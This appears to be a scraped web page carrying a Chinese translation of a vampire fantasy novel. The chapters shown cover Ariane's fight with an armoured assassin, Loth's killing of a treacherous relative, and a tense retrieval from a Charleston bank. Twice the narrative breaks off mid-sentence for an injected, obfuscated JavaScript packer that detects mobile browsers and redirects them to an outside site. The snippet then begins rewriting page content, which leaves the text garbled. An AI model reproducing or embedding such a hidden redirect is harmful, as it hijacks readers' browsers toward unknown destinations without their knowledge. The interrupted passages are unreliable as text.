我不直接盯着他，反而能看清更多。他从屋顶上悬下来，慢慢降到一扇窗户前。我看到他在窗户上方挂了个符文，然后又缩了回去，这让我有了可乘之机。 洛斯常用的那种如尼文刻在一个透明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我从窗台上跳了下去。在下落的过程中，我的对手又射了一支弩箭。这次我有了准备，勉强挡住了。我冲向他，在他挥刀砍我时，我闪到了一边，然后试图刺他的腿。 至少，我是这么打算的。那个男人哼了一声，踉跄了一下，但当我把刀抽回来时，上面一滴血都没有。我一边移动躲避，一边有几把银刀从我身边呼啸而过。我往后退的时候，对手同时扔出两把刀，紧接着还有一个小瓶子。 他没扔准，我只是弯下腰就躲开了，然后继续向前冲。接着，我身后有什么东西爆炸了。一股难以置信的热浪扑面而来，我被掀翻在地。 我着火了。 我着火了，我着火了，我着火了。不！不！我得跑。又不能跑。我在地上翻滚，想把最猛烈的火焰扑灭，然后跳起来，拼命地跑开。 我拐过街角。那里有一个水桶。我把它举起来，把里面的水都倒在了自己头上。 顿时，一股凉爽的感觉传遍全身，让我清醒了一些，但随之而来的是疼痛。疼得很厉害。 接着，一股刺鼻的猫尿味钻进了我灵敏的鼻子，看来这个水桶里不只是雨水。 太棒了。 好吧，你这个卑鄙无耻的家伙。如果你的盔甲能挡住我的刀，那我就让你尝尝钝器创伤的滋味。 我看到墙边靠着一根锯了一半、已经腐烂的横梁，我用左手的爪子抓住它。我顾不上它软烂的质感，转身跑了回去。 我走近的时候，那个黑影战士正一瘸一拐地朝旅馆走去。我看着他扔掉了一个空瓶子，可能是某种药水。我越是直接盯着他，就越难看清他的动作。 我悄悄地冲过去，我发誓他肯定感觉到了我在盯着他的后背。他一边转身，一边开枪。又一支弩箭射进了我当作临时盾牌的横梁里。 我跑到他跟前，挥动那根沉重的木头，划了一个圈，目标是他的腿。不出所料，他跳了起来。他还在空中的时候，我继续挥动横梁，完成这个圈，并且继续用力。 第二下没有落空。横梁打在了他的侧面和膝盖上。与此同时，有什么东西划过我的胸口，我本能地扭了一下身体。 一把刀划开了我盔甲裙上的鳞片，就像切开了水一样，直到碰到我胸口的护心甲才停了下来。坚固的钢铁也只是稍微减弱了这一击的力量。我咳出了血。一秒钟后，疼痛袭来。 我痛苦地嘶叫着，伤口处又传来一阵灼烧感，疼痛愈发强烈。现在就杀了他。砸碎他的脑袋，吸干其他人的血。 此时，我们俩都停了下来。 旅馆里发生了什么事情，严重到引发了一件既惊人又可怕的事。 洛斯生气了。 或许这个词都不足以形容他的愤怒。说实话，洛斯已经愤怒到了极点。一声怒吼，与其说是人的声音，更像是号角的鸣响，像晴朗天空中的惊雷一样，打破了夜晚的宁静。洛斯生气了。他有危险！ “嘶！” 我得行动起来。我得忽略疼痛。我慢慢地向前迈出一步，又一步。洛斯需要我。我不能倒下。尤其不能倒在一个以为能躲在暗处的人手里。黑夜是属于我的。 那个身影转过身，朝我扔了个东西，我把横梁扔了过去。 一个小瓶子砸在木头上，发出嘶嘶的声音。紧接着，沉重的横梁砸在了目标上，伴随着令人胆寒的骨折声。酸液侵蚀着黑暗，直到里面传出一个人的惨叫声。他全身穿着一种奇怪皮革制成的盔甲，胸口的几个符文正被冒烟的酸液腐蚀。他的头上戴着一顶头盔，洛斯见了估计会很喜欢。 哇，全身都是昂贵的装备啊？看看能不能物尽其用。 我向前一扑，抓住他的脚踝，然后拖着这个俘虏回到旅馆门口。就在这时，家具破碎和玻璃碎裂的声音预示着一场真正的暴乱开始了。我走到窗户边，把我打倒的敌人扔了进去。 该死，还是好疼。啊。给自己提个醒，伤口好点之前，行动要小心点。 我小心翼翼地爬上破碎的窗台，然后重重地摔在地上。我挣扎着站起来，眼前的景象是我从未见过的一片狼藉。 除了柜台，所有的家具都被砸成了碎片，地上满是碎玻璃，房间里还亮着，是因为灯笼还挂在天花板上。那个红头发的男人半截身子被嵌进了一堵廉价的石膏墙里。罗洛正疯狂地试图把插在手里的椅子腿拔出来，而莱克妮则紧贴着墙，眼里满是泪水。 洛斯站在这一片混乱的中心。 他的存在让我感觉他的身形比实际大了三倍。我知道他在旅馆里还能正常活动，但当我看向他时，却觉得他像个巨人。他那件优雅的背心如今已破烂不堪，到处都是裂口，露出结实的肌肉，肌肉上隐约流动着纹身符文的线条和图案。 他看到我时，有那么一瞬间，我担心他认不出我了。好在他眨了下眼，看来我没事。 “二号，请给我。” 我从腰带上的袋子里取出一管密封的解药，递给他。因为伤口持续的疼痛，我差点没递稳。洛斯拔掉银色的瓶盖，一口就把里面的药水喝了下去。 然后，他像捏碎纸张一样把金属容器捏扁。 洛斯走向地上那个穿着皮革盔甲的人，掐住他的脖子。他猛地一甩，把人狠狠地砸在柜台上，柜台在这猛烈的撞击下明显凹陷下去。过了一会儿，头盔被摘了下来。 我的对手是个相当英俊的男人，脸刮得很干净。他右侧脸颊有一道垂直的伤疤，差一点就伤到眼睛。 洛斯的愤怒转为冰冷。他用英语对他妻子说道，声音低得让人害怕。如果这些人不是他的家人，此刻早就被打得血肉模糊了。即便如此，我都不确定今晚会不会有人丧命。 “斯科尔。你居然带斯科尔来。你们想杀了我？” 金发女人用他们的母语慌乱地辩解着。 “你没这个资格了。我不会再用我们的语言和你这种人说话。我再问你一次，你们真的想杀了我？” “洛斯，”我打断他，“他在门和窗户上都放了让人失去意识的符文。”说完我又咳嗽起来，吐出一口带着血丝的痰。真不淑女…… 唉，不过现在也不是担心这些的时候。 就在这时，我听到外面有脚步声。我慢慢地试图站起来，却疼得皱起了眉。算了，还是先在这儿待一会儿吧，除非他们需要我的帮助。还好伤口已经愈合了一些，疼痛现在勉强还能忍受。 一个胖警卫带着另外四个人，气势汹汹地撞开门。 “这到底是怎么回事…… 这是……” 这群人看到屋里的惨状，以及站在屋子正中央的罪魁祸首后，都安静了下来。 “嘿。”我说。 五双眼睛都看向我，我就像抓住了一把稻草一样吸引了他们的注意力。这么多人在，我也不用耍什么心眼儿了，也没必要。现在很少有人能在洛斯面前不感到一丝畏惧，这些警卫显然也不例外。 “快逃。” 他们以惊人的速度离开了。有趣的是，警卫队长还不忘礼貌地摘下帽子告别，然后才用力关上门。他比我想象的更有自制力。 那个女人又气又急，嘴里不停地说着。洛斯的回答让我有些担心。他现在盛怒之下，可能会伤害他们，实际上他已经动手了，但我现在听到的话却有些不同。他已经彻底冷静下来了。 “没错，她是个吸血鬼。至于为什么我更看重她而不是你，我现在就告诉你。” 他每说一句话，就朝她走近一步。 “她从不要求我改变自己。 她从不要求我放弃自己的爱好。 她从不要求我忘记过去。 她不会像那些卑鄙的强盗一样来绑架我。 她不会在我的酒里下毒。 她总是支持我，最后但同样重要的是……” 现在他们的脸离得只有一只手的距离。 “她没为了权力和我兄弟上床，对吧？” 她开始辩解。 “我不在乎你为什么这么做，重要的是你做了。现在，告诉我，是谁想出这个馊主意，把我像死猪一样绑起来带回老家？” 她闭上眼睛，哭了起来。 “你不用回答。你没这个胆子，斯科尔向来不敢主动挑事，哈德拉德又太蠢。” 洛斯走向正在地上朝楼梯爬去的罗洛。他抓住罗洛的后颈，漫不经心地把他砸向远处的墙壁，然后抓住他的双臂，不慌不忙地把他的手肘折断。 即便以我的标准来看，这也太残忍了，但这是他的复仇，我选择保持沉默。 做完这些，他又抓住罗洛的衣领把他提起来。罗洛试图说些什么，却被洛斯一记凶狠的右勾拳打断。 “我成为领主的时候，发过誓绝不伤害自己的亲人。就像你们也发过誓要一直维护家族的利益一样。好吧，算你走运，我想我们都会以自己的方式遵守承诺。” 洛斯用他粗壮的手臂箍住这个背叛他的亲戚的头。等锁死之后，他先向右一拧，再向左一扭。 骨头断裂的声音在房间里回荡，很快，莱克妮惊恐的哭声也加入进来。 他还没完。 洛斯像扔垃圾一样把尸体扔在地上，然后走向她。他从口袋里掏出个东西，扔在脏兮兮的地上。那是一枚金戒指，镶嵌着漂亮的装饰。 “你被休了。” 他转身离开。 看到我还躺在地上，他跪了下来。我之前没注意到，我的裙子前襟已经被黑亮的鲜血浸湿了，伤口还没有完全愈合。 洛斯什么也没说，只是用公主抱的姿势把我抱了起来。我没有反抗，我信任他。 我们走到门口，他一脚把门踹开。外面的人群小心翼翼地让开一条路，没有人说话。 我们顺利地走到马车旁，没有人阻拦。洛斯扶我上了车，向阿斯尼示意后，等了一会儿，马车就出发了。 我一动不动，连呼吸都没有假装。这从某种程度上来说是我的错。如果我没有怂恿他，他就不会联系他们，也不会被迫杀一个人来表明立场，更不会遭遇这次伏击。 我本以为我做得没错。 我本以为这能帮到他。 但我错了。 直面过去没有任何好处，只会揭开旧伤疤，让陈年的鲜血再次流淌。我真是世上最愚蠢的吸血鬼，呸。 “你怎么这么沮丧，姑娘？该沮丧的人是我才对。” “你怎么看出来的？” “你面无表情，毕竟你不用呼吸，看起来就像座雕像，但你难过的时候会稍微弯下背。” 我轻轻笑了笑。难道我和洛斯、道尔顿玩游戏每次都输，就是因为这个？ “我真该在劝你寄那封信的那天，就给自己一脚。” “别这么说，你是对的。这件事早晚都得解决。” “你不生气吗？” “我生气。我气他们，气我自己，也气这个操蛋的世界，它夺走了阿格娜，却把这些烂人留给我，但我不气你。我太傻了，太害怕，又太急于把这件事了结，结果把过去几十年学到的东西都忘光了。” “学到了什么？” “政治。不管愿不愿意，我都是个公众人物。我不能就这么满脸笑容地走进去，还指望那些混蛋能放过我。如果我想和亲人好好相处，又不被他们利用，就得有所准备，拉拢盟友。只有当我有能力做自己的主时，我才会回去。康斯坦丁教过我该怎么做，但我当时还没准备好。你可能也注意到了，我可不是个心思细腻的人。” 这话说得太委婉了。我好不容易才忍住没说话。洛斯生气的时候，嘴巴可真脏。 “我，尼拉里家族的阿丽亚娜，会帮你完成这件事。我或许有个安全的办法帮你送信。” “那太感谢你了。那么，伟大的吸血鬼，尼拉里家族的阿丽亚娜，能不能解释一下你为什么身上有股猫尿味？” “……” “……” “……” “我着火了！我别无选择！那里有个水桶……” “好吧。” 37.查尔斯顿的危机 我缓缓睁开双眼，映入眼帘的是刺绣的床幔。远处，壁炉中火焰的噼啪声，仿佛在轻声迎接我。我知道自己身在何处，这里是我心灵的堡垒，在静谧中散发着独特的光辉。 我听到一阵深沉的叹息从外面传来。我走下一段楼梯，来到宏伟的入口。当我经过时，大门自动敞开。 在守望者宁静的注视下，花坛依照奇异的图案，在修剪整齐的草坪上延展。我走向最近的那堵由高耸荆棘树构成的围墙，它们在我面前自动分开。 那介于现实与虚幻之间的云雾在我四周流动，渐渐幻化成一幅熟悉的景象。纳肖巴（Nashoba）正倚靠在他那只巨龟的背上，双手抱头，膝盖紧紧抵着胸口。他看起来比我以往见过的任何时候都要脆弱。我走到他身边，在地上坐下。 “为何如此忧愁，萨满？” “啊，荆棘与饥饿之女。我本无意打扰你今晚的休憩。” “别放在心上。你有危险吗？” 纳肖巴是我最喜欢的人类之一。要是他过早离世，我会很不悦。 “没有。不是因为这个。你还记得我之前说过的播种和除草的事吗？” “你是说在威胁造成太大危害之前就将其消除？” 他悲伤地笑了笑。 “你果然还是忘了成长那部分，不过这也不能怪你。关键是，我失败了。” “或许还为时未晚？” “已经晚了。战争的风暴正在袭来，阿丽亚娜（Ariane）。我看到北方高高举起的红色战棍，现在什么也阻止不了了，这是不可避免的。” “北方意味着穆斯科吉人（Muskogee）。如果他们挑起战争，不会是针对你，对吧？” “你没明白重点。每年都有更多你们这样的人涌上岸来寻找财富，每年新来的人都向西寻找土地，然后他们找到了我们。这场冲突会给你们的首领们一个借口，让他们再强加一份条约，用我们的祖传土地去交换几箱货物。啊，看看我，就像试图用两根细枝和双手去阻挡河流一样。” 纳肖巴又沉重地叹了口气。 “先不说这个了，阿丽亚娜。既然你已经来了，还有更重要的事要商量。没错，让我去操心那些我还能改变的事吧。” 他闭上眼睛，深吸一口气。他身后的乌龟轻轻发出隆隆声。 “死亡即将降临，规模之大是这片土地前所未见的。我们必须阻止它。你必须找到一把会破碎的钥匙。” 我沉默了片刻，等着他继续说下去，但他却没有再开口。 “你这话可真够神秘的。” “我知道。敌人刚刚开始行动，有什么东西蒙蔽了我的视线。你必须去拉扯命运的丝线，阿丽亚娜。去敲打灌木丛，看看会惊出什么。如果你挖掘出足够多的线索，就会发现其中的规律。” “谢谢你的信任，老朋友。我只是担心你高估了我的能力。” “我没有。我很清楚：在这场斗争中，你至关重要。要是你失败了，这场邪恶就会肆意蔓延。去探索你能力的极限吧，荆棘之女。别把主动权交给敌人。” 纳肖巴站起身，伸了个懒腰，看起来比之前好了一些。 “我现在得走了，我们稍后再谈。” 他挥了挥手，乌龟睁开一只失明的眼睛，我向后倒去，再次陷入沉睡。 1812年7月17日，佐治亚州希金斯维尔 我成为吸血鬼已经九年了。 我并不认同族人们计算年龄的方式。我二十八岁了，有着这些年积累的所有经验和知识。我从人类时期汲取的智慧，和成为吸血鬼后的经历对我的影响一样深远。 我掀开石棺的盖子，柔和的蓝光洒在我的卧室里。我抬起手臂，看着手臂末端黑色的指甲。 要是我没有在那个决定命运的夜晚去参加舞会，现在我的身体应该会大不相同，会因生育和岁月的流逝而留下痕迹。然而现在，它和我死去的那晚一模一样，就连每一根头发都未曾改变。 然而，外表是会骗人的。人类时期的阿丽亚娜可没办法剖开狼人。 明显改变的是我的房间。以前，当我只有三件物品和一个破背包时，我觉得这个房间很宽敞。现在，这里堆满了书和代表我各种追求的战利品。我把自己最得意的作品挂在墙上：每年为道尔顿（Dalton）画的肖像、玛格丽特·米切尔（Margaret Mitchell）去世前我为她画的画像、一个在农场劳作的穆斯科吉人、一个睡在屋外的黑人小孩、一场乔克托族（Choctaw）的舞蹈。这些都是我用吸血鬼的眼睛所看到的世界，即使在深夜，也色彩斑斓、栩栩如生。 在墙的中央，挂着我最得意的作品，一幅对沉默守望者（Silent Watcher）的局部描绘。 画吸血鬼之星（vampire aster）非常困难。当我抬头凝视它时，内心会进入一种宁静的状态，这种状态不利于观察实体物体。我只能专注于它的部分，却永远无法把握整体。经过三天徒劳的尝试，我得出结论，它根本不遵循物理定律。我永远无法真实地画出它的样子，因为即便我的大脑能够理解所看到的东西，我的工具也无法完美呈现。所以，我试着去描绘一种感觉，而非具体的图像。我找到了一组介于紫色和红色之间的颜色，经过近一个月的疯狂努力，我终于成功捕捉到了身处它面前时的那种感觉。 道尔顿和洛斯（Loth）一点也不喜欢这幅画。他们说，仅仅看一眼就让他们极其不舒服。我却把这当作巨大的成功。 在墙的两侧，我摆放了书架。书架上摆满了洛斯自己的书，还有不少是我通过罗森塔尔财团（Rosenthal consortium）设法弄到的。现在，我对好几种魔法传统和体系都很熟悉，尽管我自己还完全无法施展魔法。我还买了关于隐秘历史以及魔法动植物的书籍。我也有自己的笔记本，里面记满了关于萨满魔法和枪械制造等各种主题的参考资料和观察记录。 最后，墙的正中央是一张书桌，上面放着我目前正在研究的东西和重要信件。最珍贵的一封是用阿卡德语（Akkad）写的，字迹稳健而优雅。信的内容如下： 尼拉里氏族（clan Nirari）的阿丽亚娜： 你请求以独立家族的身份，依据协议加入我们社群的申请已获批准。你需要在1820年于马萨诸塞州波士顿举行的秘密会议上，携所有相关证人出席，届时你将有机会为自己的提案进行辩护。 祝你在这件事上好运。 此致 康斯坦丁（Constantine） 此刻，这封信是我最珍贵的财产。它让我看到了希望，也许不久之后，我遇到同族时，再也不必害怕被奴役或杀害。这都要归功于希梅纳（Jimena），是她在两年前的上一次集会上提交了我的申请。遗憾的是，这样的活动每十年才举办一次，不过这也完美地反映出了现任议长放任自流的态度，正是这种态度，或许会让一个被吞噬者（Devourer）的弃儿获得合法身份。但考虑到一切，等待只是个小代价。 在这封信旁边的，是我和父亲、希梅纳、回到日内瓦的艾萨克（Isaac）的通信，还有一些业务往来的联系人，甚至有一两位学者的信件。 桌上还放着一本小说，是塞西尔·R·宾格尔（Cecil R. Bingle）写的《血之邪教的掌控》，封面上有他的雕刻画像。他看起来风度翩翩，怀里抱着一个以罗丝（Rose）为原型、满脸谄媚的女人。书中还有一个配角，是“性感神秘的阿德里安娜（Adrienne），因父亲的罪孽而被邪恶诅咒缠身” 。 洛斯有时还会拿这本书打趣，不过自从我 “不小心” 把三号扳手砸在他脚上后，他那句 “哦，你这性感神秘的姑娘，把三号扳手递给我” 也说得少了。 宾格尔，即便在八年之后，你的作品仍在 “纠缠” 着我。 我叹了口气，穿好衣服，离开地下室。洛斯在我门口的小篮子里放了两封信。我拿起信，走上楼。来到吸烟室，坐在洛斯旁边，他正忙着吃一把坚果。 “晚上好，洛斯。” “晚上好，姑娘。有什么好消息吗？” “一会儿就知道了。” 我打开第一封信，看了起来。我们亲爱的宾格尔在苏塞克斯过得很好，罗丝即将生下他们的第三个孩子。他还提到了一件我之前不知道的事。 “洛斯，为什么宾格尔在哀叹我们两国之间的糟糕局势？” “啊，对了，我们和英国开战了。” “什么？！什么时候的事？！” “六月份。我也是刚得到消息。好像是因为非法贸易限制、武装印第安人还有劫持水手之类的事。” “战争！你怎么一点都不担心？这个国家可没有真正的常备军！” “你说的这个国家，可不是我们该操心的，姑娘。要是这里的公民知道了我们的身份，他们会杀了我们的。” “要是一队龙骑兵把整个镇子烧成灰烬，你这种想法可帮不上什么忙，不是吗？更别提如果兰卡斯特家族（Lancaster）的母国接管这里，他们可能会想要更大的利益。” “你太爱操心了，他们现在在欧洲忙得不可开交，而且还缺钱。等他们登陆了，我们再讨论这个问题。” 我没有回应。洛斯说得对，我手头又没有一队战列舰，现在我对战争能做的贡献简直微不足道。我把注意力转向第二封信。我不认识这种笔迹，信上也没有回信地址，真是奇怪。好吧，看看这封信到底写了什么。 “德莱尼小姐（Miss Delaney），如果你正在读这封信，那说明我已经死了。” 这开头可真 “妙” 啊。 “我做了安排，这样如果我遭遇不测，你就会收到这封信作为一种保障。我是亚历山大·詹金斯船长（Captain Alexander Jenkins）。几年前，你告诉我，我当时的上级兰斯船长（Captain Lannes）是一个极其邪恶组织——新光兄弟会（Brotherhood of the New Light）的成员，还为我指明了追踪他们的方向。” 兰斯…… 兰斯…… 不可能吧。蒂勒森庄园（Tillerson estate）的那场派对！没想到过了这么多年，那件事还会有后续？真是难以置信！ “我发现的事情远远超出了我的想象，甚至超出了我最疯狂的梦境。但这就是事实，不管我的说法有多离奇，指控有多荒诞，我恳请你相信我。请认真听我说，因为我们都身处巨大的危险之中。这个组织的目的不是聚敛财富和权力，而是要用极其邪恶的手段获得永生！你必须找到值得信任的盟友，接过这火炬！如果我们不能阻止他们，我担心我们将目睹那些文明本应摒弃的恐怖之事。” 这可真是够阴森的。先是纳肖巴，现在又是这位已故的军官警告我有灾难即将降临？这绝非巧合。 “请在这个信封里找到一把钥匙和位于查尔斯顿（Charleston）第一南卡罗来纳银行（first South Carolina bank）一个保险箱的契约，我把最新的调查结果存放在那里。很抱歉我能做的只有这些。祝你好运，愿上帝与你同在。 你的， 奥古斯丁·亚历山大·詹金斯（Augustin Alexander Jenkins）” 看来我这一周的计划泡汤了。 “出什么事了，阿丽？” “有人去世了，给我留了份‘遗产’。” “哦？什么遗产？” “阻止一个神秘而危险的阴谋的重担，如果没人站出来，这个阴谋会造成无数受害者。” 我们沉默了一会儿，思考着这件事。 “我觉得要是留钱的话，通常会更受欢迎。” “嗯。” “有什么我能帮忙的吗？” “我得去查尔斯顿一趟。” “啊。查尔斯顿。北美吸血鬼的第三大权力中心。就是那个查尔斯顿。希梅纳明确叫你别去的那个城市。就是那个，对吧？” “没错。” “那你去那儿要做什么？” “我得从一个保险箱里取出一些能作为罪证的文件。” “哦，一场抢劫！我最喜欢抢劫了！” “不，洛斯，我有钥匙。” “哦。” 他看起来很失望。 “洛斯，你知道吗，如果你真的很想干一票大盗窃，为什么不直接去做呢？” “这得看风险。没有风险的话，感觉就不一样了，你懂的。” 我对狩猎的感觉也是如此。 “我懂。现在，我得去那家银行，进去拿到东西，然后神不知鬼不觉地离开。” “啊，终于说到点子上了！我们先好好计划一下，然后再庆祝你的生日！死亡日！啊，随便怎么叫吧。” 洛斯摇了摇铃铛。我听到有东西被推过来的声音，还有两声心跳声。不一会儿，道尔顿推着一张病床进来了，床上绑着一个俘虏，他戴着手铐的手里还拿着一根点燃的蜡烛。 哦，他们想得可真周到！ “生日快乐，女主人！” “生日快乐，姑娘。” “嗯嗯呜呜嗯嗯。”（俘虏被堵住嘴发出的声音） “哦，你们太客气了，谢谢，谢谢！” 1812年7月23日，南卡罗来纳州查尔斯顿郊外的一所废弃房屋 我曾经觉得新奥尔良（New Orleans）气势恢宏。我以为它是奴隶和农产品的主要贸易中心，是一座能与欧洲城市媲美的国际化大都市。我那时真是太天真了。查尔斯顿在我眼前铺展开来，占据着一片位于两条像湖泊一样宽阔的河流之间的狭长土地。一排排船只通过一条向东的航道进出它的码头，驶向大海。 这座城市有超过一万五千人，分布在广阔的区域，其中一半以上是黑人。其他人来自苏格兰、爱尔兰、法国、加勒比地区、普鲁士…… 名单很长。街道上回荡着各种语言，就像巴别塔（Babel）一样嘈杂。这里有一座石头建造的市场、一个交易所，甚至还有一家像欧洲大陆上那样专门建造的银行！这里真是文明的灯塔。每天都有无数的奴隶、成捆的棉花和其他货物从这里经过。 我真希望能多花些时间在这里，漫步在街道上，逛逛那些摊位。可惜，那样做并不明智。就像地图上标注的 “此处有龙”（Hic Sunt Dracones），只不过在这里，龙是真实存在的，要是我擅自闯入它们的领地，它们会杀了我。 所以，就像我朋友说的，我们只能来一次 “□□” 了。 “我已经很久没准备过抢劫行动了，感觉还挺怀念的，你懂的？” “这不是抢劫！我有权拿到那个保险箱里的东西，我有钥匙！” “我们有计划、有伪装，还有逃跑路线。在我看来，这就是抢劫，不是吗？” “呸！胡说八道……” 我嘟囔着，但没什么底气。 “再把计划说一遍，女主人。” 今晚的道尔顿格外严肃，比平时还要认真。我一直试图掩饰自己对遇到一位主人，甚至更糟，一位领主的担忧。我不敢保证我的伪装能骗过他们的感知能力。 “我步行去银行，从正门进去，完全无视那些盯着入口的人，用正常的方式打开保险箱。然后从侧门出去，向南前往码头。如果被跟踪了，我就按指定的伏击点行动。我会划船过河到詹姆斯岛（James Island），不管发生什么，两小时后我们在两盏蓝色灯笼处会合。最重要的是不能让当地的吸血鬼发现我的存在，所以除非被发现，否则我只会使用人类的能力。” 道尔顿点了点头，继续说道。 “大家都准备好了吗？” “准备好了，在你走之前，我有东西给你。” 洛斯拿出三把仪式用刀，给我们每人发了一把。 “在我的家乡，这是个传统，为了祈求好运。把刀插在桌子上，它会等你回来，这样你就一定会回来。来吧。” 我们把各自的刀插进旧木头里，然后头也不回地离开了房间。 我觉得，困难之处在于要一直保持伪装的状态。我现在带着三件魔法物品：纳肖巴的耳环，据说能保护我不被追踪；希梅纳的刀，用来自保；还有一个由切割玻璃制成的小吊坠。最后这个是洛斯最近的实验品，他试图复制在斯库尔（Skjoll）的盔甲上看到的符文。我问过他在把斯库尔砸进家具的时候，是怎么注意到那些符文的，和往常一样，他的回答含糊其辞。不过结果还不错。在行动期间，这个小吊坠应该能让任何不经意的观察者察觉不到我冰冷的气息。除非我和一个吸血鬼面对面，否则它不会失效。 只要我不展示任何奇怪的能力或超乎常人的速度，就没人会怀疑。当地的吸血鬼甚至不会想到他们的领地被人闯入了。 我确信一切都会按计划进行。我甚至不知道自己为什么会紧张。我只是去银行取属于我的东西，没什么好担心的。 真的。 当我穿过一个小广场，走向银行大门的时候，心里却充满了担忧。 银行大楼高大而庄严，由砂岩和米色灰泥建成，还点缀着白色装饰。二楼的窗户又高又气派，在教堂式的穹顶下俯瞰着下面的人们。一楼没有窗户，顾客只能通过一扇圆形拱门进入大楼，这扇门看起来坚固得足以抵御攻城槌的撞击。我费了好大的劲才克制住自己不去理会那三个像鹰一样盯着入口的暴徒。三个实在是太多了，我希望他们不是冲着保险箱来的，但又无法忽视这明显的异常。要是我除掉了詹金斯，又想确保自己的阴谋不被泄露，还有什么比抓住继承他笔记的人更好的办法呢？也很有可能，他们不敢擅自闯入金库取走里面的东西，而是想找个倒霉蛋替他们做这件事。 詹金斯，你到底撞上了什么事？ 我的伪装让我看起来像个中年妇女。这身伪装衣服垫得厚厚的，只有臀部除外，按照洛斯的说法，那里无需修饰。我所有的头发都藏在一顶保守的女帽下面，在别人眼里，我就是个气喘吁吁、忙着赶在天黑前办事的主妇。再加上一点妆容，让这形象更逼真了。 一个拿着警棍、穿着制服的门卫在我经过时碰了碰帽子示意，很快我就走进了银行。 银行的主大厅装饰得很朴素，挂着风景画，镶着木板。这么晚了，只有一个柜台还开着，后面有个戴着单片眼镜、爱挑剔的年轻人在工作。灯光昏暗，把室内照得满是长长的影子。一个警卫正强打着精神，是这个地方仅有的另一个人。 “有什么我能帮忙的吗？” “晚上好，年轻人，”我用比平常低的声音说道，“我想开一下我的保险箱。这是契约和钥匙。” 那人漫不经心地检查着钥匙，直到看到上面的编号，他的眼睛瞬间因兴奋和恐惧而瞪大，还下意识地舔了舔嘴唇。 他知道有问题。 这可糟了，银行已经被渗透了。 “当然可以，夫人，当然可以。请跟我来。巴尼？巴尼！” “先生？” “我们去保险库。” “好的，先生。” 警卫回应前那短暂的停顿再明显不过了。我剩下的时间不多了。 我跟着这个小个子男人往银行里面走，穿过一扇门，下了一段楼梯。这么晚了，这里几乎空无一人，弥漫着一种阴森的空旷感。打开又锁上几道门后，在一个全副武装的警卫监视下，我们走进了一个小房间。房间里摆满了保险箱，嵌在墙壁上。我们很快找到了我的那个。 “现在我们给您留点私人空间。” “不用了，”我一边回答，一边打开保险箱。里面有一本笔记本，还有几叠文件和信件，我把它们放进洛斯给我的一个安全公文包里。只要我不被火烧，这个公文包应该能很好地保护这些文件。 我迅速关上并锁好保险箱，然后转向我的向导。 “我好了，谢谢。” 这个小职员的额头布满汗珠，坐立不安。那个武装警卫则好奇地在我们两人之间来回打量。不管他是谁，他应该没参与这件事。 “我们走吧？” “啊，好的，当然，当然，请跟我来。” 目前为止还算顺利，现在该执行计划的下一步了。我们回到一楼，等他锁好门后，我再次开口。 “请稍等一下，先生。鉴于目前的情况，我得采取措施确保自己的安全。请问还有其他出口吗？” 那人的目光朝我身后的走廊瞥了一眼。不出所料，那里有一条直接通往银行侧门的路。 “有，不过那是员工专用的……我觉得……” “求您了，先生，我确定有人在跟踪我。” 他紧张地笑了笑，恐慌让他身体微微摇晃。 “我不，我觉得，嗯……” “恐怕我必须坚持，”我补充道，同时从口袋里掏出一把小手枪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068285|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这对这个可怜的家伙来说太刺激了。他一看到枪就打了好几个嗝，然后盯着我，眼泪顺着脸颊流了下来。仅仅是一点暴力威胁，他就完全失去了镇定。原来，他能心安理得地引我入陷阱，却被一点身体威胁吓得像纸牌屋一样崩塌。 真是典型。 我不耐烦地把他转过去，推着他走在我前面。我们沿着走廊朝出口走去。我正要左转时，听到了沉重的脚步声。我抓住这个人，把他推进旁边的一个房间，然后自己也迅速跟了进去。 我们静静地听着，一个巡逻的警卫从我们身边走过。 我抓着的这个人不停地拉我的袖子，于是我让他在我耳边小声说话。 “我不能待在这儿，这是女厕所！” 我直起身，看着他。 真的假的。 这就是你现在担心的事？ 他没等我回应，就羞愧地低下了头。真是懦弱。道尔顿真是个难得的人才，我应该多欣赏他一些。 警卫离开后，我继续逃跑，很快就来到了一个通向外面的方形前厅，旁边还有一个更衣室。我打开更衣室的门，把这个不情愿的向导推进去，在他脖子后面轻轻一击，把他打晕，然后拿走了他的钥匙。 很好，现在我只需要出去，赶到码头就行。 我走出门，环顾四周，然后转身锁上门，花了一秒钟思考。 有一个银行警卫正怀疑地看着我，还有一个暴徒明目张胆地站在那里。说真的，这也太过分了。我别无选择，只能跑。而且只能以人类的速度跑。 有那么一瞬间，我的本能几乎要控制不住。我想迷惑这个警卫，让他去打那个暴徒；我想把暴徒引到小巷里，然后饱餐一顿。这种诱惑很强烈，但我忍住了。必须按计划完成行动。 我把钥匙朝警卫扔过去，他条件反射地接住了，然后我镇定地走开。 在他们反应过来之前，大约有一秒半的时间充满了难以置信的沉默。 “嘿，你，站住！” 我拔腿就跑，那两个人在后面紧追不舍。我双手紧紧抓着包，以人类身体能达到的极限速度奔跑。警卫很快就被我甩远了，但那个暴徒却没有。 有些奇怪的事情发生了，一些超自然的事情。这个人竟然在逐渐追上我，这根本不可能。我还能感觉到他身上有一丝魔法的气息。他不是魔法师，那股魔法气息也不像是他携带的物品散发出来的。我很好奇，但还没好奇到愿意冒险暴露自己的程度。我转向南边，朝着码头的方向跑去，穿梭在人群和车辆之间。即便在这个时候，街道上还是有成群的行人、马匹和马车来来往往。人们朝我们这边看，但除了几声惊呼，并没有太多人做出其他反应。我的追捕者还在不断逼近。我得争取点时间。 